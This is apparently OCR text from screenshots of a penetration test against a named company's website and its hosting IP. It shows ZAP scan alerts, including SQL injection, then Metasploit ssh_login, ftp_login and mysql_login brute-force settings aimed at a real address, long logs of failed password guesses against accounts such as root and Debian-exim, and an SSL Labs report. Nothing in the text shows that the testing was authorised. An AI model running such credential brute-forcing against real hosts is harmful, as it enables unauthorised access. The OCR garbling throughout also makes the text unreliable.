Parameter: X-Xss-Protection

Attack:
Evidence:

CWEID: 933

WASCID: 14

Source:  Passive (10016 - Web Browser XSS Protection Not Enabled)

Description:

<<

v

Current Scan Qo %o 0 %o
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(StandardMode (v} | G H e 7 & I *E n@o O0DO0 48 €0 ) @ % 9 €

[@ores |+ [7 quick start | = Request | Responser= |

I=Tal= (Header: Toxt [¥) (Body: Text [v) () L)
Contexts HTTP/1.1 200 OK A
(2] Default Context. Date: Thu, 23 Apr 2020 23:12:32 GMT

" @ st Server: MGinK/1 17 6

v &2 ¥ https:/fwww.tevelcyber.com
] # GET:wp-admin

v 5 http://www.tevelcyber.com
] P # GET:robots.txt
] P GET:robots.txt(query)
] # GET:sitemap.xml
] # GET:wp-admin

» (1% wp-admin

] P GET:wp-admin(query)

Content-Type: text/htnl; charset-UTF-8
Vary: User-Agent, Accept-Encoding

Last-Hodified: Tue, 21 Apr 2020 16:04:47 GHT
Accept-Ranges: none
Cache-Control: max-age=0, no-cache, no-store, must-revalidate

Pragna: no-cache

<link rel="stylesheet' id='wp-mediaelenent-css' hre;
https: // tevelcyber. con/wp- includes/ js/mediaelenent/wp-nediaelenent.min. css?ver=5.3.2" type='text/css' media='all’ />
<link rel="stylesheet' id='avia-dynamic-css' href-
https: // tevelcyber. con/wp-content/uploads/dynanic_avia/enfold. css?ver=5e18573fb9eld’ type='text/css' media='all’ /> -->
<t-- <link rel='stylesheet' id="avia-custon-css' href='
https: // tevelcyber. con/wp-content/themes/enfold/css/custon. css?ver=4.3.2' type='text/css' media="all' />
stylesheet" type="text/css" href="//tevelcyber. con/wp-content/cache/wpfc-minified/6n9qtato/gakng. css" media=

“all"/>
<script src="//tevelcyber. can/up-content/cache/upfc-mini fied/8bbozryo/gakng. js'_type="text/javascript*s</scripts v

[ = istory | < Search [ lerts #. output | # Spider | ) Active Scan | % |

e 7

5 Alerts (6)
» A SQL Injection (3)
» ¥ X-Frame-Options Header Not Set
» 2 Cookie No HttpOnly Flag (2)
v 2 Cross-Domain Javascript Source File Inclusion (8)

‘GET: https//www.tevelcyber.com
‘GET: http://www.tevelcyber.com
‘GET: http://www.tevelcyber.com
‘GET: http://www.tevelcyber.com

Alerts 1 1 4 RO

Cross-Domain Javascript Source File Inclusion i
7 URL: http://www.tevelcyber.com
Risk: # Low.

Confidence: Medium
Parameter: /ftevelcyber.com/wp-content/cache/wpfc-minified/8bbozryo/g3kng.js
Attack:

Evidence:  <script s
CWEID: 829

/ltevelcyber.com/wp-content/cache/wpfc-minified/8bb0zryo/g3kng s’ type="textfjavasci

WASCID: 15
Source: Passive (10017 - Cross-Domain Javascript Source File Inclusion)
Description:
v
v [ 7

Qo0 #o0 0 #o
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. . . File Actions Edit View Help
KALILINUX fip.txt SiNSarE BLANK_PASSWORDS  false no Try blank passwords for all users

BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from @ to 5
DB_ALL_CREDS false no Try each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list
PASSWORD no A specific password to authenticate with
PASS_FILE Desktop/password.txt no File containing passwords, one per line
RHOSTS 192.185.39.52 yes The target host(s), range CIDR identifier, or hosts file with syntax

Trash mysqlixt USETBE  file:epath>’
RPORT 22 yes The target port
STOP_ON_SUCCESS ~ true yes Stop guessing when a credential works for a host
THREADS 1 yes The number of concurrent threads (max one per host)
USERNAME no A specific username to authenticate as
USERPASS_FILE no File containing users and passwords separated by space, one pair per 1

ine
File System  mysql_user.  userpass.txt USER_AS_PASS false no Try the username as the password for all users
e USER_FILE Desktop/sshuser.txt no File containing usernames, one per line
VERBOSE false yes Whether to print output for all attempts
Description:

" . This module will test ssh logins on a range of machines and report

successful logins. If you have loaded a database plugin and

connected to a database this module will record successful logins
Home password and hosts so you can track your access.

ESD-ISO password.txt

defaultuser  sshpass.tt
Ripassword ..

References:
https://cvedetails.com/cve/CVE-1999-0502/

5 auxiliary(sconnes/son/sh 1onin) > run I
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. . . File Actions Edit View Help

(] kali@kali

] [kali@kali [wpscan - File... =5 [Save screens.. 08:05PM @ A L% & G

KALI LINUX fip.txt sshuser.txt ioed
Description:
This module will test ssh logins on a range of machines and report
successful logins. If you have loaded a database plugin and
connected to a database this module will record successful logins
' . . and hosts so you can track your access.
Reference:
Trash mysqlxt user.txt https: //cvedetails. com/cve/CVE-1999-0502/
msf5 auxiliary(coonee oo/ o) > exploit
-1 192.185.39.52:22 - Failed: 'Debian-exim:123456'
[!] No active DB — Credential data will not be saved!
1 192.185.39.52:22 - *Debian-exim: password"
FileSystem  mysql_user.  Userpasstxt | 192.185.39.52:22 - *Debian-exim:12345678"
= | 192.185.39.52:22 - *Debian-exim: querty’
1 192.185.39.52:22 - *Debian-exi: 123456789
-1 192.185.39.52:22 - 'Debian-exim:12345"
-1 192.185.39.52:22 - 'Debian-exim:1234"
" 1 192.185.39.52:22 - *Debian-exim:111111'
1 192.185.39.52:22 - *Debian-exim:1234567"
| 192.185.39.52:22 - *Debian-exin: dragon’
Home password - 192.185.39.52:22 - *Debian-exim:123123"
-1 192.185.39.52:22 - 'Debian-exim:baseball’
-1 192.185.39.52:22 -
1 192.185.39.52:22 - *Debian-exim: football®
| 192.185.39.52:22 - *Debian-exim:monkey" 1
E | 192.185.39.52:22 - *Debian-exim: letmein® I

ESD-ISO password.txt

defaultuser  sshpass.tt
Ripassword ..
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Places v Terminal v

File Edit
Provided by:

Terminal _Help

todb <todb@metasploit.com>

Basic options:
Name

BLANK_PASSWORDS
BRUTEFORCE_SPEED
DB_ALL_CREDS
DB_ALL_PASS
DB_ALL_USERS
PASSWORD
PASS_FILE
Proxies
RECORD_GUEST
RHOSTS
RPORT
STOP_ON_SUCCESS
THREADS
USERNAME
USERPASS_FILE
air per line
USER_AS_PASS
USER_FILE
VERBOSE

Description:

References:

Current Setting

true
5

false
false
false

false
192.185.39.52
21

true

1

/root/Desktop/ftp.txt
false

true

https://cvedetails.com/cve/CVE-1999-0502/

msf auxiliary(ftp_login) > run]

Required

no
yes
no
no
no
no
no
no
no
yes
yes
yes
yes
no
no

no
no
yes

This module will test FTP logins on a range of machines and report
successful logins. If you have loaded a database plugin and

connected to a database this module will record successful logins
and hosts so you can track your access.

Mon 23:22

root@kali: ~

huser.txt.

Description

Try blank passwords for all users

How fast to bruteforce, from © to 5

Try each user/password couple stored in the current database
Add all passwords in the current database to the list

Add all users in the current database to the list

A specific password to authenticate with

File containing passwords, one per line

A proxy chain of format type:host:port[,type:host:port][...
Record anonymous/guest logins to the database

The target address range or CIDR identifier

The target port (TCP)

Stop guessing when a credential works for a host

The number of concurrent threads

A specific username to authenticate as

File containing users and passwords separated by space, one p

Try the username as the password for all users
File containing usernames, one per line
whether to print output for all attempts
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KALILINUX ftp.xt sshuser.txt
Trash mysqltxt user.txt
File System  mysql_user.-  userpass.txt
txt
- B
Home password
ESD-ISO.  password.txt

defaultuser:
Ripassword ..

SShpass.tt

File

“ [WordPress passwordd.. E] kali@kali:

Actions  Edit

192.185.39.52:2222
192.185.39.52:2222
192.185.39.52:2222
192.185.39.52:2222
192.185.39.52:2222
192.185.39.52:2222
192.185.39.52:2222
192.185.39.52:2222
192.185.39.52:2222
192.185.39.52:2222
192.185.39.52:2222
192.185.39.52:2222
192.185.39.52:2222
192.185.39.52
192.185.39.52
192.185.39.52
192.185.39.52
192.185.39.52
192.185.39.52:2222
192.185.39.52:2222
192.185.39.52:2222
192.185.39.52:2222
192.185.39.52:2222
192.185.39.52:2222
192.185.39.52:2222
192.185.39.52:2222
192.185.39.52:2222
192.185.39.52:2222
192.185.39.52:2222

[wpscan - File Manager]

ali@kali: ~

View Help

*Debian-exim:webadmin'
*Debian-exim:webmaster'
*Debian-exim:maintaince
*Debian-exim: techsupport'
*Debian-exim: letmein"
*Debian-exim:logon"

: 'Debian-exim:Passward"
not connect: connection closed by remote host
*adm: toor*

*adm: raspberry"

*adm: dietpi’

*adm: test’

uploader*

*adm: password"
*adm:admin’
*adm:administrator
*adm:marketing'

*adm: querty"
*adm:webadmin"
*adm:webmaster"
*adm:maintaince’
*adm: techsupport '

*adm: logon"
*adm: Passward"
*admin:root’ 1
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KALI LINUX

Trash

File System

Home

ESD-ISO

defaultuser:
Ripassword ..

fip.txt

mysql.txt

mysql_user.-

txt

password

password.txt.

SShpass.tt

(] kali@kali

# Exploitsshusi.. E] kali@kali: ~ « [kali- FileMa.. * [Savescreens...

Logli File Actions Edit View Help

File Actions Edit View Help

dential works for a host

THREADS 1 ves The number of concurrent
threads (max one per host)

USERNAME root no A specific username to a
uthenticate as

USERPASS_FILE no File containing users an
d passwords separated by space, one pair per line

USER_AS_PASS false no
password for all users

Try the username as the

USER_FILE no File containing username
s, one per line
VERBOSE true ves Whether to print output

for all attempts

Description:
This module simply queries the MySQL instance for a specific
user/pass (default is root with blank).

References:
https://cvedetails.com/cve/CVE-1999-0502/

mSF5 auxiliary(-coones/uyeql/uysgl Losin) > set rhosts 192.185.39.52

rhosts = 192.185.39.52

msF5 auxiliary(-- oo /uveql/nusal Lonin) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS = true 1
msF5 auxiliary(- i /nyeql/uysgl Losin) > set VERBOSE true

VERBOSE = true

mSF5 auxiliary(-coonee/uysgl/iusal Lonin) > set USER_AS_PASS true
USER_AS_PASS = true

mSF5 auxiliary(-c oo/ uveql/nusal Lonin) > set USERPASS_FILE Desktop/mysql.txt
USERPASS_FILE = Desktop/mysql.txt

msF5 auxiliary(connes/nysolnsal tosin) > run

> oo

201/352
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LOGIN
LOGIN
LOGIN
LOGIN
LOGIN
LOGIN
LOGIN
LOGIN
LOGIN
LOGIN
LOGIN

LOGIN
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LOGIN
LOGIN
LOGIN
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LOGIN
LOGIN
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LOGIN
LOGIN
LOGIN
LOGIN
LOGIN

FAILED:

FAILED:

FAILED:

FAILED:
FAILED:

FAILED:

FAILED:

FAILED:

: root:999999 (Incorrect: Access denied for user 'root'a'si.l

: edu:edu (Incorrec

B kali@kali:
kali@kali: ~ - o x

‘w [Kali- File Ma... =5 [Savescreens.. * [Savescreens.. 09:22PM ® #) A LH0%| @& G

root:88888 (Incorrect: Access denied for user 'root'a'81.170.61.209' (using password: YES))

61.209' (using password: YES))
root:aaaaaa (Incorrect: Access denied for user 'root'3'81.170.61.209' (using password: YES))

oken (Incorrect: Access denied for user 'token'a'81.170.61.209' (using password: YES))
security (Incorrect: Access denied for user 'security'd’'s1.170.61.209' (using password: YES))
root:security (Incorrect: Access denied for user 'root'a'81.170.61.209' (using password: YES))
root:aaa (Incorrect: Access denied for user 'root'd'81.170.61.209' (using password: YES))

Access denied for user 'edu'@'81.170.61.209' (using password: YES))
root:education (Incorrect: Access denied for user 'root'a'81.170.61.209' (using password: YES))
root:school (Incorrect: Access denied for user 'root'd'81.170.61.209' (using password: YES))
webmaster:webmaster (Incorrect: Access denied for user 'webmaster'd'81.170.61.209' (using password: YES

sql (Incorrect: Access denied for user 'mysql'a'81.170.61.209' (using password: YES))
root:zxcvbn (Incorrect: Access denied for user 'root'a'81.170.61.209' (using password: YES))

: a:a (Incorrect: Access denied for user 'a'a'81.170.61.209' (using password: YES))

kon:kon (Incorrect: Access denied for user 'kon'a'81.170.61.209' (using password: YES))
root:ubuntu123 (Incorrect: Access denied for user 'root'a'81.170.61.209' (using password: YES))
qtss:qtss (Incorrect: Access denied for user 'qtss'@'81.170.61.209' (using password: YES))
root:asdfgh (Incorrect: Access denied for user 'root'a'81.170.61.209' (using password: YES))
oracle:zxcvbn (Incorrect: Access denied for user 'oracle'a'81.170.61.209' (using password: YES))
Access denied for user 'root'@'81.170.61.209' (using password: YES))
test:zxcvbn (Incorrect: Access denied for user 'test'd'81.170.61.209' (using password: YES))
root:poiuyt (Incorrect: Access denied for user 'root'd'81.170.61.209' (using password: VES))
root:111111 (Incorrect: Access denied for user 'root'a'81.170.61.209' (using password: YES))
T00t:000000 (Incorrect: Access denied for user 'root'a'81.170.61.209' (using password: YES))
oracle:oracle (Incorrect: Access denied for user 'oracle'a’81.170.61.209' (using password: YES))
ibrary:library (Incorrect: Access denied for user 'library'a'81.170.61.209' (using password: YES))
info:info (Incorrect: Access denied for user 'info'a'81.170.61.209' (using password: YES))

i inux (Incorrect: Access denied for user rlinux'd’'81.170.61.209' (using password: YES))
amanda:ananda (Incorrect: Access denied for usel ‘amanda'a‘81.170.61.209" (using password: YES))
amanda:123456 (Incorrect: Access denied for user 'amanda'a'81.170.61.209' (using password: YES))
anita:anita (Incorrect: Access denied for user 'anita'a'81.170.61.209' (using password: YES))
3456 (Incorrect: Access denied for user 'anita'a’81.170.61.209' (using password: YES))
nita123 (Incorrect: Access denied for user 'anita'a'81.170.61.209' (using password: YES))
tp:123456 (Incorrect: Access denied for user 'ftp'a’'81.170.61.209' (using password: YES))
root:ubuntu (Incorrect: Access denied for user 'root'a'81.170.61.209' (using password: YES))
root:mandrake (Incorrect: Access denied for user 'root'a'81.170.61.209' (using password: YES))
root:a1b2c3 (Incorrect: Access denied for user 'root'a'81.170.61.209' (using password: YES))
root:1a2b3c (Incorrect: Access denied for user 'root'3'81.170.61.209' (using password: YES)) I

tp:12345678 (Incorrect: Access denied for user 'ftp'd'81.170.61.209' (using password: YES))
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File Actions Edit View Help

KALILINUX il
ALILLIL, msf5 > use auxiliary/gather/ssllabs_scan

msf5 auxiliary(:o o oo ol laoc <o) > show info

Name: SSL Labs API Client
Module: auxiliary/gather/ssllabs_scan

License: Metasploit Framework License (BSD)
Rank: Normal

Provided by:
Denis Kolegov <dnkolegovagmail
Francois Chagnon

Check supported:
No

Basic options:

Name Current Setting Required Description

DELAY ] ves The delay in seconds between API requests

GRADE false yes Output only the hostname: grade

HOSTNAME yes The target hostname

IGNOREMISMATCH true ves Proceed with assessments even when the server certificate doesn't match the assessment host
name

USECACHE true ves Use cached results (if available), else force live scan

Description:
This module is a simple client for the SSL Labs APIs, designed for
SSL/TLS assessment during a penetration test. 1

msf5 auxiliary(:o ico/collahc ccon) > set hostname 192.185.39.52
hostname => 192.185.39.52
msF5 auxiliary(:o oo ollabs scan) > run

[+] API version: 2.1.4

[+] SSL Labs API info I
[+] Evaluation criteria: 2009q
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 [CTF-writeups/devOops... ] Shell No. 1 [wpscan - File Manager]

ShellNo.1
Actions Edit View Help

192.185.39.52 (192.185.39.52)
192.185.39.52 (192.185.39.52)
192.185.39.52 (192.185.39.52)
192.185.39.52 (192.185.39.52)
Host: 192.185.39.52
192.185.39.52

Progress 86% (Simulating handshakes)
Progress 91% (Simulating handshakes)
Progress 95% (Simulating handshakes)
Progress 95% (Testing 0-RTT)

Report for ns8202.hostgator.com (192.185.39.52)

Overall rating

T - Server's certificate is not trusted
Grade is A, if trust issues are ignored)
LS 1.2 - Yes
TLS 1.1 - No
TLS 1.0 - No
SSL 3.0 - No
SSL 2.0 - No

Secure renegotiation is supported

BEAST attack - No

POODLE SSLv3 - Not vulnerable

POODLE TLS - Not vulnerable

Downgrade attack prevention - Yes, TLS_FALLBACK_SCSV supported
Freak - Not vulnerable

RC4 - No

Heartbeat (extension) - No

Heartbleed (vulnerability) - No

OpensSL CCS vulnerability (CVE-2014-0224) - No
Forward Secrecy - Yes (with most browsers)
Strict Transport Security (HSTS) - Yes

Public Key Pinning (HPKP) - No

Compression - No

Session resumption - Yes

Session tickets - Yes

0CSP Stapling - No

Next Protocol Negotiation (NPN) - No
Auxiliary module execution completed

msf5 auxiliary(ooiee oo lians o) >
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